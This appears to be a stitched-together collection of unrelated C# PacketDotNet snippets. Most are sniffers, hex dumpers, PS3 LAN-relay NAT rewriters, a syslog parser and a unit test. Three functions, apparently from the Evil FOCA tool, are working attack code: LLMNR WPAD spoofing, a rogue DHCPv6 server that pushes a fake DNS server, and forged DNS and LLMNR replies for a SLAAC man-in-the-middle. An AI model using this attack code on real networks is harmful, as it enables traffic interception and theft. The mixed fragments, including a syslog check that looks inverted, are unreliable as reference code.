private void ParsePacket( ref string ret, PacketDotNet.UdpPacket udpPacket) { object pak = ConvertStruct.ByteToStruct(udpPacket.PayloadData, typeof(ConvertStruct.StructProtocol)); if(pak!=null) { var ipPacket = (PacketDotNet.IpPacket)udpPacket.ParentPacket; ConvertStruct.StructProtocol protocol = (ConvertStruct.StructProtocol)pak; if (protocol.protocol == 0x0019) { _addUser(ipPacket.SourceAddress.ToString(), protocol.channels.ToString()); } } //ConvertStruct.StructDemo str = (ConvertStruct.StructDemo)ConvertStruct.ByteToStruct(udpPacket.PayloadData, typeof(ConvertStruct.StructDemo)); // _logAction(str.a.ToString()); }
private static void device_onPacketArrival(Object sender, CaptureEventArgs e) { var date = e.Packet.Timeval.Date; var microSeconds = e.Packet.Timeval.MicroSeconds; var data = e.Packet.Data; var packet = PacketDotNet.Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data); var ip = packet.Extract <PacketDotNet.IPPacket>(); PacketDotNet.TcpPacket tcp = packet.Extract <PacketDotNet.TcpPacket>(); PacketDotNet.UdpPacket udp = packet.Extract <PacketDotNet.UdpPacket>(); // ip addresses String SourceName; String DestinationName; try { SourceName = getFQDN(ip.SourceAddress); } catch (Exception ex) { SourceName = ip.SourceAddress.ToString(); } try { DestinationName = getFQDN(ip.DestinationAddress); } catch (Exception ex) { DestinationName = ip.DestinationAddress.ToString(); } if (Globals.counter == Globals.numberOfPackets) { System.Environment.Exit(0); } if (tcp != null && Globals.tcp == true) { if (Globals.port != null) { if (tcp.DestinationPort == int.Parse(Globals.port) || tcp.SourcePort == int.Parse(Globals.port)) { } else { return; } } Console.WriteLine(date.Hour + ":" + date.Minute + ":" + date.Second + "." + microSeconds + " " + Dns.GetHostEntry(ip.SourceAddress).HostName + " : " + tcp.SourcePort + " > " + Dns.GetHostEntry(ip.DestinationAddress).HostName + " : " + tcp.DestinationPort); } else if (udp != null && Globals.tcp == true) { if (Globals.port != null) { if ((udp.DestinationPort != int.Parse(Globals.port) || udp.SourcePort != int.Parse(Globals.port))) { } else { return; } } Console.WriteLine(date.Hour + ":" + date.Minute + ":" + date.Second + "." + microSeconds + " " + SourceName + " : " + udp.SourcePort + " > " + DestinationName + " : " + udp.DestinationPort); } //parsing data to array of strings with hex value and array of strings with ascii value String hex = BitConverter.ToString(e.Packet.Data); //String ascii = System.Text.Encoding.ASCII.GetString(packet.Data); String[] hexData = hex.Split("-"); String hexOutputData; for (int n = 0; n < hexData.Length; n += 16) { hexOutputData = ""; for (int m = 0; m < 16; m++) { if (n + m == hexData.Length) { break; } hexOutputData += hexData[n + m] + " "; } Console.Write("0x" + (hexOutputData.Length / 3 + n - 16).ToString("X4") + ": "); Console.Write(hexOutputData); Console.WriteLine(ConvertHex(String.Join("", hexOutputData.Split(" ")))); } Console.WriteLine(); Globals.counter++; }
public void GenerateLLMNRResponse(Packet packet) { try { LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket(); llmnr.ParsePacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData); if (llmnr.Query.Name.ToLower().Equals("wpad") && (llmnr.Query.Type.Value == LLMNR.DNSType.AAAA || llmnr.Query.Type.Value == LLMNR.DNSType.A)) { WinPcapDevice dev = Program.CurrentProject.data.GetDevice(); IPAddress ip = Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(dev); byte[] ipv6Addr = ip.GetAddressBytes(); llmnr.AnswerList.Add(new LLMNR.DNSAnswer() { Class = evilfoca.LLMNR.DNSClass.IN, Name = llmnr.Query.Name, Type = evilfoca.LLMNR.DNSType.AAAA, RData = ipv6Addr, RDLength = (short)ipv6Addr.Length, TTL = 12 }); llmnr.IsResponse = true; EthernetPacket ethDns = new EthernetPacket(dev.MacAddress, ((EthernetPacket)packet).SourceHwAddress, EthernetPacketType.IpV6); IPv6Packet ipv6Dns = new IPv6Packet(ip, ((IPv6Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress); UdpPacket udpDns = new UdpPacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort, ((UdpPacket)(packet.PayloadPacket.PayloadPacket)).SourcePort); udpDns.PayloadData = llmnr.BuildPacket(); ipv6Dns.PayloadPacket = udpDns; udpDns.UpdateCalculatedValues(); udpDns.UpdateUDPChecksum(); ipv6Dns.UpdateCalculatedValues(); ethDns.PayloadPacket = ipv6Dns; Program.CurrentProject.data.SendPacket(ethDns); } } catch (Exception) { } }
unsafe public void AnalyzePacket(WinPcapDevice device, Packet p) { if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || !(p.PayloadPacket.PayloadPacket is UdpPacket)) return; UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket; if (udp.ParentPacket == null) return; if (!(udp.ParentPacket is IPv6Packet)) return; if (attacks.Where(A => A.attackType == AttackType.DHCPIpv6).Count() == 0) return; DhcpIPv6 attack = (DhcpIPv6)attacks.Where(A => A.attackType == AttackType.DHCPIpv6).First(); IPv6Packet packetIpLayer = (IPv6Packet)udp.ParentPacket; EthernetPacket ethernet = (EthernetPacket)p; /* Info: http://en.wikipedia.org/wiki/DHCPv6 Example In this example, the server's link-local address is fe80::0011:22ff:fe33:5566/64 and the client's link-local address is fe80::aabb:ccff:fedd:eeff/64. DHCPv6 client sends a Solicit from [fe80::aabb:ccff:fedd:eeff]:546 for [ff02::1:2]:547. DHCPv6 server replies with an Advertise from [fe80::0011:22ff:fe33:5566]:547 for [fe80::aabb:ccff:fedd:eeff]:546. DHCPv6 client replies with a Request from [fe80::aabb:ccff:fedd:eeff]:546 for [ff02::1:2]:547. (All client messages are sent to the multicast address, per section 13 of RFC 3315.) DHCPv6 server finishes with a Reply from [fe80::0011:22ff:fe33:5566]:547 for [fe80::aabb:ccff:fedd:eeff]:546. */ DHCPv6Packet pa = new DHCPv6Packet(); pa.ParsePacket(udp.PayloadData); if (packetIpLayer.DestinationAddress.Equals(IPAddress.Parse("ff02::1:2"))) { EthernetPacket newPEthernet = new EthernetPacket(device.Interface.MacAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV6); UdpPacket newUDP = null; IPAddress ipv6LocalLink = null; IPv6Packet newIpv6 = null; switch (pa.MessageType) { case DHCPv6Type.Solicit: if (pa.Options.ContainsKey(DHCPv6OptionCode.ClientIdentifier) && pa.Options.ContainsKey(DHCPv6OptionCode.IANA)) { newUDP = new UdpPacket(547, 546); byte[] iaid = pa.Options[DHCPv6OptionCode.IANA].Value; pa.MessageType = DHCPv6Type.Advertise; pa.Options.Remove(DHCPv6OptionCode.ElapsedTime); pa.Options.Remove(DHCPv6OptionCode.FQDM); pa.Options.Remove(DHCPv6OptionCode.VendorClass); pa.Options.Remove(DHCPv6OptionCode.OptionRequest); pa.Options.Remove(DHCPv6OptionCode.IANA); pa.AddServerIdentifierOption(device.MacAddress); pa.AddIANAOption(IPAddress.Parse(string.Format("{0}:{1}", attack.fakeIPRange.ToString().Substring(0, attack.fakeIPRange.ToString().LastIndexOf(':')), IpID)), iaid); pa.AddDNSOption(attack.fakeDns); pa.AddDomainSearchListOption(new string[] { "google.com" }); IpID++; newUDP.PayloadData = pa.BuildPacket(); ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString()); newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress); newIpv6.HopLimit = 1; newIpv6.PayloadPacket = newUDP; newPEthernet.PayloadPacket = newIpv6; newUDP.UpdateCalculatedValues(); newUDP.UpdateUDPChecksum(); Program.CurrentProject.data.SendPacket(newPEthernet); } break; case DHCPv6Type.Request: newUDP = new UdpPacket(547, 546); pa.MessageType = DHCPv6Type.Reply; pa.Options.Remove(DHCPv6OptionCode.ElapsedTime); pa.Options.Remove(DHCPv6OptionCode.FQDM); pa.Options.Remove(DHCPv6OptionCode.VendorClass); pa.Options.Remove(DHCPv6OptionCode.OptionRequest); pa.Options.Remove(DHCPv6OptionCode.DNS); pa.AddDNSOption(attack.fakeDns); pa.AddDomainSearchListOption(new string[] { "google.com" }); newUDP.PayloadData = pa.BuildPacket(); ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString()); newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress); newIpv6.HopLimit = 1; newIpv6.PayloadPacket = newUDP; newPEthernet.PayloadPacket = newIpv6; newUDP.UpdateCalculatedValues(); newUDP.UpdateUDPChecksum(); Program.CurrentProject.data.SendPacket(newPEthernet); break; case DHCPv6Type.InformationRequest: newUDP = new UdpPacket(547, 546); pa.MessageType = DHCPv6Type.Reply; pa.Options.Remove(DHCPv6OptionCode.ElapsedTime); pa.Options.Remove(DHCPv6OptionCode.FQDM); pa.Options.Remove(DHCPv6OptionCode.VendorClass); pa.Options.Remove(DHCPv6OptionCode.OptionRequest); pa.Options.Remove(DHCPv6OptionCode.IANA); pa.AddServerIdentifierOption(device.MacAddress); pa.AddDNSOption(attack.fakeDns); pa.AddDomainSearchListOption(new string[] { "google.com" }); newUDP.PayloadData = pa.BuildPacket(); ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString()); newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress); newIpv6.HopLimit = 1; newIpv6.PayloadPacket = newUDP; newPEthernet.PayloadPacket = newIpv6; newUDP.UpdateCalculatedValues(); newUDP.UpdateUDPChecksum(); Program.CurrentProject.data.SendPacket(newPEthernet); break; default: break; } } }
private bool PS3_replaceClientAnswer_hostAddr(PhysicalAddress dstMAC, ref UdpPacket udp_packet, IPAddress ip_replacement, IPAddress ip_inpacket) { byte[] data = udp_packet.PayloadData; byte[] ip_inpacket__bytes = ip_inpacket.GetAddressBytes(); int index = data.Length-6; bool ret = findIndexOfArrayInArray_isMatch(ref data, index, ref ip_inpacket__bytes); if (!ret) { index = index - 6; ret = findIndexOfArrayInArray_isMatch(ref data, index, ref ip_inpacket__bytes); /* if (ret) { byte[] b = new byte[4] { 0xb0, 0x32, 0x80, 0x44 }; Buffer.BlockCopy(b, 0, data, 13, b.Length); } * */ } if (!ret) return false; byte[] ip_replacement_bytes = ip_replacement.GetAddressBytes(); Buffer.BlockCopy(ip_replacement_bytes, 0, data, index, ip_replacement_bytes.Length); udp_packet.PayloadData = data; return true; }
private bool PS3_replaceInfoResponse_hostAddr(PhysicalAddress dstMAC, ref UdpPacket udp_packet, IPAddress natted_ip) { byte[] data = udp_packet.PayloadData; // infoResponse packets are on port 3075 send to broadcast if (udp_packet.DestinationPort != 3075 || data.Length < 100) return false; System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding(); String hostaddr_string = "\\hostaddr\\"; byte[] hostaddr_string_bytearray = enc.GetBytes(hostaddr_string); String hostaddr_base64; int hostaddr_base64_byte_count = 36; int index_of_hostaddr = findIndexOfArrayInArray( ref data, ref hostaddr_string_bytearray); if (index_of_hostaddr < 0) { #if DEBUG xbs_messages.addDebugMessage("!! % PS3_replaceInfoResponse_hostAddr could not find index_of_hostaddr in Packet", xbs_message_sender.NAT, xbs_message_type.WARNING); #endif return false; } index_of_hostaddr += hostaddr_string_bytearray.Length; try { hostaddr_base64 = enc.GetString(data, index_of_hostaddr, hostaddr_base64_byte_count); } catch (Exception e) { #if DEBUG xbs_messages.addDebugMessage("!! % PS3_replaceInfoResponse_hostAddr could not convert hostaddr_entry_string in Packet : " + e.ToString(), xbs_message_sender.NAT, xbs_message_type.ERROR); #endif return false; } byte[] hostaddr_all_bytes = Convert.FromBase64String(hostaddr_base64); #if DEBUG byte[] hostaddr_ip_bytes = new byte[4]; Buffer.BlockCopy(hostaddr_all_bytes, 0, hostaddr_ip_bytes, 0, 4); IPAddress hostaddr_ip = new IPAddress(hostaddr_ip_bytes); #endif byte[] natted_ip_bytes = natted_ip.GetAddressBytes(); Buffer.BlockCopy(natted_ip_bytes, 0, hostaddr_all_bytes, 0, 4); String hostaddr_new_base64 = Convert.ToBase64String(hostaddr_all_bytes); #if DEBUG xbs_messages.addDebugMessage("% PS3_replaceInfoResponse_hostAddr hostAddr : " + hostaddr_ip + "|" + hostaddr_base64 + " => " + natted_ip + "|" + hostaddr_new_base64, xbs_message_sender.NAT); #endif if (hostaddr_new_base64.Length != hostaddr_base64.Length) { #if DEBUG xbs_messages.addDebugMessage(String.Format("!! % PS3_replaceInfoResponse_hostAddr hostaddr_new_base64 is to BIG! : {0} => {1}", hostaddr_base64.Length, hostaddr_new_base64.Length), xbs_message_sender.NAT, xbs_message_type.ERROR); #endif return false; } byte[] hostaddr_new_base64_bytes = enc.GetBytes(hostaddr_new_base64); if (hostaddr_new_base64_bytes.Length > hostaddr_base64_byte_count) { #if DEBUG xbs_messages.addDebugMessage(String.Format("!! % PS3_replaceInfoResponse_hostAddr hostaddr_new_base64_bytes is to BIG! : {0}", hostaddr_new_base64_bytes.Length), xbs_message_sender.NAT, xbs_message_type.ERROR); #endif return false; } Buffer.BlockCopy(hostaddr_new_base64_bytes, 0, data, index_of_hostaddr, hostaddr_new_base64_bytes.Length); UInt16 checksum = calc_ps3_packet_checksum_faster(ref data, 2); EndianBitConverter.Big.CopyBytes(checksum, data, data.Length - 2); udp_packet.PayloadData = data; return true; }
//UDP协议的Info private string setUdpInfo(UdpPacket UDP) { return "Source port: " + UDP.SourcePort + " Destination port: " + UDP.DestinationPort; }
private static void runUdpParsers(UdpPacket packet) { //Console.WriteLine ("Got UDP packet!"); }
private void ParsePacket(ref string ret, PacketDotNet.UdpPacket udpPacket) { ConvertStruct.StructDemo str = (ConvertStruct.StructDemo)ConvertStruct.ByteToStruct(udpPacket.PayloadData, typeof(ConvertStruct.StructDemo)); _logAction(str.a.ToString()); }
private bool is_injected_packet_to_be_filtered(ref ARPPacket p_arp, ref IPv4Packet p_ipv4, ref UdpPacket p_udp, ref TcpPacket p_tcp) { // FILTER ARP PACKETS if (p_arp != null) { // FILTER ARP PACKETS TO OR FROM GATEWAY IPs foreach (IPAddress ip in gateway_ips) { if (p_arp.TargetProtocolAddress.Equals(ip)) return true; else if (p_arp.SenderProtocolAddress.Equals(ip)) return true; } } // FILTER IPv4 PACKETS if (p_ipv4 != null) { // FILTER IP PACKETS TO OR FROM GATEWAY IPs if (pdev_filter_exclude_gatway_ips) { foreach (IPAddress ip in gateway_ips) { if (p_ipv4.DestinationAddress.Equals(ip)) return true; else if (p_ipv4.SourceAddress.Equals(ip)) return true; } } } // FILTER UDP PACKETS if (p_udp != null) { // FILTER UDP PACKETS TO WELL KNOWN PORTS if (pdev_filter_wellknown_ports && p_udp.DestinationPort < 1024) return true; } // FILTER TCP PACKETS if (p_tcp != null) { // FILTER TCP PACKETS TO WELL KNOWN PORTS if (pdev_filter_wellknown_ports && p_tcp.DestinationPort < 1024) return true; } return false; }
private void listField(ref UdpPacket p) { addField("Udp", "Checksum", p); addField("Dest Port", p.DestinationPort.ToString(), UdpFields.DestinationPortPosition, UdpFields.PortLength); addField("Src Port", p.SourcePort.ToString(), UdpFields.SourcePortPosition, UdpFields.PortLength); addField("Length", p.Length.ToString(), UdpFields.HeaderLengthPosition, UdpFields.HeaderLengthLength); }
private void DNSCheck(Packet p) { EthernetPacket ethernet = (EthernetPacket)p; if (p.PayloadPacket.PayloadPacket is UdpPacket) { UdpPacket udp = p.PayloadPacket.PayloadPacket as UdpPacket; attacks.Where(a => a.attackType == AttackType.SlaacMitm).ToList().ForEach(currentAttack => { MitmAttack mitmAttack = currentAttack as MitmAttack; if (p.PayloadPacket is IPv6Packet) { switch (udp.DestinationPort) { case 53: Heijden.DNS.Response response = new Heijden.DNS.Response(new IPEndPoint(IPAddress.Parse("1.2.3.4"), 53), udp.PayloadData); var aaaaDns = (from q in response.Questions where q.QType == Heijden.DNS.QType.AAAA || q.QType == Heijden.DNS.QType.A select q).ToList(); //Para mostrar la pelotita de conexión a internet OK, respondemos al paquete Teredo de Microsoft en formato A. var aTeredoDns = (from q in response.Questions where q.QType == Heijden.DNS.QType.A && (q.QName.ToLower().Contains("teredo") || q.QName.ToLower().Contains("msftncsi")) select q).ToList(); if (aaaaDns != null && aaaaDns.Count > 0) { DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData); string q = query.name; IPAddress[] ips = Dns.GetHostAddresses(q); DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv6, query.transID, query.nameDnsFormat, ips[0]); byte[] respByteAr = resp.GeneratePacket(); EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4); IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress); UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort); udpDns.PayloadData = respByteAr; ipv6Dns.PayloadPacket = udpDns; ethDns.PayloadPacket = ipv6Dns; udpDns.UpdateCalculatedValues(); udpDns.UpdateUDPChecksum(); ipv6Dns.UpdateCalculatedValues(); Program.CurrentProject.data.SendPacket(ethDns); } else if (aTeredoDns != null && aTeredoDns.Count > 0) { DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData); string q = query.name; IPAddress[] ips = Dns.GetHostAddresses(q); DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv4, query.transID, query.nameDnsFormat, ips[0]); byte[] respByteAr = resp.GeneratePacket(); EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4); IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress); UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort); udpDns.PayloadData = respByteAr; ipv6Dns.PayloadPacket = udpDns; ethDns.PayloadPacket = ipv6Dns; udpDns.UpdateCalculatedValues(); udpDns.UpdateUDPChecksum(); ipv6Dns.UpdateCalculatedValues(); Program.CurrentProject.data.SendPacket(ethDns); } break; case 5355: LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket(); llmnr.ParsePacket(udp.PayloadData); if (llmnr.Query.Type.HasValue && llmnr.Query.Type.Value == LLMNR.DNSType.AAAA) { IPAddress[] ips = (from ip in Dns.GetHostAddresses(llmnr.Query.Name) where ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork select ip).ToArray(); byte[] ipv6Addr = new byte[] { 0x00,0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0xff,0xff, (byte)ips[0].GetAddressBytes()[0],(byte)ips[0].GetAddressBytes()[1], (byte)ips[0].GetAddressBytes()[2] ,(byte)ips[0].GetAddressBytes()[3] }; llmnr.AnswerList.Add(new LLMNR.DNSAnswer() { Class = evilfoca.LLMNR.DNSClass.IN, Name = llmnr.Query.Name, Type = evilfoca.LLMNR.DNSType.AAAA, RData = ipv6Addr, RDLength = (short)ipv6Addr.Length }); EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4); IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress); UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort); udpDns.PayloadData = llmnr.BuildPacket(); ipv6Dns.PayloadPacket = udpDns; ethDns.PayloadPacket = ipv6Dns; udpDns.UpdateCalculatedValues(); udpDns.UpdateUDPChecksum(); ipv6Dns.UpdateCalculatedValues(); Program.CurrentProject.data.SendPacket(ethDns); } break; default: break; } } }); } }
public SyslogMessage(PacketDotNet.UdpPacket udpSyslogPacket) { Regex msgRegex = new Regex(@" (\<(?<PRI>\d{1,3})\>){0,1} (?<HDR> (?<TIMESTAMP> (?<MMM>Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s (?<DD>[ 0-9][0-9])\s (?<HH>[0-9]{2})\:(?<MM>[0-9]{2})\:(?<SS>[0-9]{2}) )\s (?<HOSTNAME> [^ ]+? )\s ){0,1} (?<MSG>.*) ", RegexOptions.IgnorePatternWhitespace); string packet = System.Text.Encoding.ASCII.GetString(udpSyslogPacket.PayloadData); Match m = msgRegex.Match(packet); EndPoint ep = new IPEndPoint(IPAddress.Any, 0); // If the syslog message is invalid or empty, exit if (m != null && !string.IsNullOrEmpty(packet)) { System.Diagnostics.EventLog.WriteEntry("SwsyslogService", "No match." + Environment.NewLine + packet, System.Diagnostics.EventLogEntryType.Warning); return; } else { System.Diagnostics.EventLog.WriteEntry("SwsyslogService", "Match." + Environment.NewLine + packet, System.Diagnostics.EventLogEntryType.Information); } //parse PRI section into priority int pri; int?priority = int.TryParse(m.Groups["PRI"].Value, out pri) ? new int?(pri) : null; //parse the HEADER section - contains TIMESTAMP and HOSTNAME string hostname = null; Nullable <DateTime> timestamp = null; if (!string.IsNullOrEmpty(m.Groups["HDR"].Value)) { if (!string.IsNullOrEmpty(m.Groups["TIMESTAMP"].Value)) { try { timestamp = new DateTime( DateTime.Now.Year, MonthNumber(m.Groups["MMM"].Value), int.Parse(m.Groups["DD"].Value), int.Parse(m.Groups["HH"].Value), int.Parse(m.Groups["MM"].Value), int.Parse(m.Groups["SS"].Value) ); } catch (ArgumentException) { //ignore invalid timestamps } } if (!string.IsNullOrEmpty(m.Groups["HOSTNAME"].Value)) { hostname = m.Groups["HOSTNAME"].Value; } } if (!timestamp.HasValue) { //add timestamp as per RFC3164 timestamp = DateTime.Now; } if (string.IsNullOrEmpty(hostname)) { IPEndPoint ipe = (IPEndPoint)ep; IPHostEntry he = Dns.GetHostEntry(ipe.Address); if (he != null && !string.IsNullOrEmpty(he.HostName)) { hostname = he.HostName; } else { hostname = ep.ToString(); } } if (priority.HasValue) { this.facility = (int)Math.Floor((double)priority.Value / 8); this.severity = priority % 8; } else { this.facility = null; this.severity = null; } this.timestamp = timestamp.Value; this.hostname = hostname; this.message = m.Groups["MSG"].Value; }
public int sendPacket() { byte[] bytes = new byte[4096]; ByteArraySegment bas = new ByteArraySegment(bytes); ushort srcPort = 23444; ushort dstPort = 12345; PacketDotNet.UdpPacket udpPacket = new UdpPacket(srcPort, dstPort); string cmdString = "xxxxyyyyHello world!"; byte[] sendBuffer = Encoding.ASCII.GetBytes(cmdString); udpPacket.PayloadData = sendBuffer; ICMPv4Packet icmpPacket = new ICMPv4Packet(new ByteArraySegment(sendBuffer)); // sanity check: //bas.BytesLength = 10; //Console.WriteLine("bas - Offset = " + bas.Offset + " len= " + bas.Length); IPAddress ipSrcAddr = System.Net.IPAddress.Parse("192.168.0.186"); // laptop IPAddress ipDestAddr = System.Net.IPAddress.Parse("192.168.0.185"); // my linux box IpPacket ipPacket = new IPv4Packet(ipSrcAddr, ipDestAddr); ipPacket.PayloadPacket = udpPacket; icmpPacket.TypeCode = ICMPv4TypeCodes.Unassigned1; icmpPacket.Sequence = 1; Console.WriteLine("icmpPacket - TypeCode = " + icmpPacket.TypeCode + " Sequence= " + icmpPacket.Sequence); Console.WriteLine("icmpPacket : " + icmpPacket.PrintHex()); icmpPacket.UpdateCalculatedValues(); Console.WriteLine("icmpPacket : " + icmpPacket.PrintHex()); //ushort etype = 0xFF00; //EthernetPacketType RAW ? System.Net.NetworkInformation.PhysicalAddress ethSrcAddr = System.Net.NetworkInformation.PhysicalAddress.Parse("02-1E-EC-8F-7F-E1"); System.Net.NetworkInformation.PhysicalAddress ethDstAddr = System.Net.NetworkInformation.PhysicalAddress.Parse("48-5B-39-ED-96-36"); EthernetPacket ethernetPacket = new EthernetPacket(ethSrcAddr, ethDstAddr, EthernetPacketType.IpV4); // I thought "None" for type would fill in type automatically; but it remained zero on the wire and was flagged "Malformed" ethernetPacket.PayloadPacket = icmpPacket; Console.WriteLine("ethernetPacket : " + ethernetPacket.PrintHex()); ethernetPacket.Type = EthernetPacketType.IpV4; Console.WriteLine("ethernetPacket : " + ethernetPacket.PrintHex()); //ipPacket.PayloadPacket = udpPacket; //ethernetPacket.PayloadPacket = gmpPacket; //ipPacket; ethernetPacket.UpdateCalculatedValues(); Console.WriteLine(ethernetPacket.ToString()); ipPacket.UpdateCalculatedValues(); //udpPacket.UpdateUDPChecksum(); // Experiment with raw ip packet? ipPacket.Protocol = IPProtocolType.RAW; // Why isn't ValidChecksum true? //Console.WriteLine("After updating calculated values, ValidUDPChecksum = " + udpPacket.ValidUDPChecksum + " ValidChecksum = " + udpPacket.ValidChecksum); //Console.WriteLine(ethernetPacket.ToString()); device.Open(DeviceMode.Normal, 15000); // 15 sec timeout //ushort checksum = csum(ipPacket.BytesHighPerformance, ipPacket.P); device.SendPacket(ethernetPacket); return 0; }
public void ConstructUdpPacketFromValuesAndCheckThatLengthIsUpdated() { // build a udp packet ushort sourcePort = 200; ushort destinationPort = 300; byte[] dataBytes = new byte[32]; for(int i = 0; i < dataBytes.Length; i++) { dataBytes[i] = (byte)i; } var udpPacket = new UdpPacket(sourcePort, destinationPort); udpPacket.PayloadData = dataBytes; // retrieve the bytes, this should cause UdpPacket.Length to be updated var packetBytes = udpPacket.Bytes; // now reparse the packet again var udpPacket2 = new UdpPacket(new ByteArraySegment(packetBytes)); Assert.AreEqual(sourcePort, udpPacket.SourcePort); Assert.AreEqual(destinationPort, udpPacket.DestinationPort); Console.WriteLine("udpPacket.Length {0}", udpPacket.Length); udpPacket.PayloadData = dataBytes; Assert.AreEqual(sourcePort, udpPacket.SourcePort); Assert.AreEqual(destinationPort, udpPacket.DestinationPort); // make sure the data matches up Assert.AreEqual(dataBytes, udpPacket2.PayloadData, "PayloadData mismatch"); // and make sure the length is what we expect Assert.AreEqual(dataBytes.Length + UdpFields.HeaderLength, udpPacket2.Length); }
public static String UDPAnalyzor(ref TreeView tree, UdpPacket udp) { string info = "\r\n--------- UDP Header ---------\r\n"; TreeNode UDPNode = new TreeNode("UDP(User Data Protocol) Header"); string srcp, dstp, len, chk, ecp; try { UDPNode.Nodes.Add(srcp = "Source Port = " + udp.SourcePort.ToString()); UDPNode.Nodes.Add(dstp = "Destination Port =" + udp.DestinationPort.ToString()); UDPNode.Nodes.Add(len = "Length = " + udp.Length.ToString()); UDPNode.Nodes.Add(chk = "Checksum = " + udp.Checksum.ToString()); info += srcp + "\r\n" + dstp + "\r\n" + len + "\r\n" + chk + "\r\n"; } catch (Exception) { UDPNode.Nodes.Add(ecp = "UDP segment or incomplete header"); info += ecp; } tree.Nodes.Add(UDPNode); return info; }